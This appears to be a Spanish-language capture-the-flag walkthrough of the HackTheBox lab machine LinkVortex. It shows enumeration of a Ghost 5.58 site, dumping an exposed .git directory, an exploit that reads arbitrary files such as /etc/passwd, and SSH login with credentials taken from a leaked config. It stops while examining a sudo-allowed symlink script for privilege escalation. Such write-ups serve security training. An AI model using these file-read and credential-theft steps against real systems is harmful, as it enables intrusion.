Solo encontramos 2 puertos abiertos, el 22 y el 80, los típicos. Por el momento el puerto 80 es nuestro principal vector de entrada.
Enumeración
Al ejecutar whatweb contra la web encontramos un plugin Ghost 5.58 bastante interesante:
afsh4ck@kalki$ whatweb -v http://linkvortex.htb
WhatWeb report for http://linkvortex.htb
Status : 200 OK
Title : BitByBit Hardware
IP : 10.10.11.47
Country : RESERVED, ZZ
Summary : Apache, HTML5, HTTPServer[Apache], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], X-Powered-By[Express], X-UA-Compatible[IE=edge]
Detected Plugins:
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
String : Apache (from server string)
[ JQuery ]
A fast, concise, JavaScript that simplifies how to traverse
HTML documents, handle events, perform animations, and add
AJAX.
Version : 3.5.1
Website : http://jquery.com/
[ MetaGenerator ]
This plugin identifies meta generator tags and extracts its
value.
String : Ghost 5.58
Fuzzing
Haciendo fuzzing con dirsearch no encontramos nada relevante y que podamos acceder:
Bingo! Obtenemos el subdominio dev.linkvortex.htb. Vamos a añadirlo a /etc/hosts y entrar para ver su contenido.
Parece que la web está en construcción y no hay ningún link ni comentario en el código fuente. Vamos a volver a hacer fuzzing contra este subdominio a ver si encontramos algo interesante:
Encontramos un directorio .git interesante, al cual podemos acceder a todos los archivos:
Explotación del directorio .git
Para dumpear el contenido del repositorio .git y extraer información relevante podemos utilizar git-dumper, un script de Python diseñado para reconstruir un repositorio a partir de un directorio .git.
En este script debemos editar la línea donde se referencia al host. El script también indica que ha sido probado contra una imagen de Ghost usando Docker:
#THIS EXPLOIT WAS TESTED AGAINST A SELF HOSTED GHOST IMAGE USING DOCKER#GHOST ENDPOINTGHOST_URL='http://linkvortex.htb'GHOST_API="$GHOST_URL/ghost/api/v3/admin/"API_VERSION='v3.0'
Lo podemos ejecutar de la siguiente manera para extraer el contenido de cualquier archivo, como el /etc/passwd:
node: Probablemente el usuario bajo el cual se ejecuta la aplicación Ghost, ya que Ghost está desarrollado en Node.js. El usuario node es relevante porque podría tener acceso a los archivos de configuración y credenciales del sistema.
User flag
Volviendo a revisar el dump del repositorio git, nos encontramos el archivo Dockerfile.ghost, que contiene un archivo de configuración interesante: config.production.json:
catDockerfile.ghostFROMghost:5.58.0# Copy the configCOPYconfig.production.json/var/lib/ghost/config.production.json# Prevent installing packagesRUNrm-rf/var/lib/apt/lists/*/etc/apt/sources.list*/usr/bin/apt-get/usr/bin/apt/usr/bin/dpkg/usr/sbin/dpkg/usr/bin/dpkg-deb/usr/sbin/dpkg-deb# Wait for the db to be ready firstCOPYwait-for-it.sh/var/lib/ghost/wait-for-it.shCOPYentry.sh/entry.shRUNchmod+x/var/lib/ghost/wait-for-it.shRUNchmod+x/entry.shENTRYPOINT ["/entry.sh"]CMD ["node", "current/index.js"]
Vamos a utilizar el script de nuevo para leer este archivo de configuración:
Nos conectamos por SSH correctamente con estas credenciales y obtenemos la flag:
ssh bob@10.10.11.47
The authenticity of host '10.10.11.47 (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.47' (ED25519) to the list of known hosts.
bob@10.10.11.47's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Dec 10 23:22:14 2024 from 10.10.14.123
bob@linkvortex:~$ ls
user.txt
bob@linkvortex:~$ cat user.txt
ca0b467f296e8811f**************
Escalada de privilegios
Vamos a ver los permisos de ejecución que tenemos en la máquina:
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Vamos a ver el script:
#!/bin/bashQUAR_DIR="/var/quarantined"if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=falsefiLINK=$1if! [[ "$LINK"=~ \.png$ ]]; then/usr/bin/echo"! First argument must be a png file !"exit2fiif/usr/bin/sudo/usr/bin/test-L $LINK;then LINK_NAME=$(/usr/bin/basename $LINK) LINK_TARGET=$(/usr/bin/readlink $LINK)if/usr/bin/echo"$LINK_TARGET"|/usr/bin/grep-Eq'(etc|root)';then/usr/bin/echo"! Trying to read critical files, removing link [ $LINK ] !"/usr/bin/unlink $LINKelse/usr/bin/echo"Link found [ $LINK ] , moving it to quarantine"/usr/bin/mv $LINK $QUAR_DIR/if $CHECK_CONTENT;then/usr/bin/echo"Content:"/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/nullfififi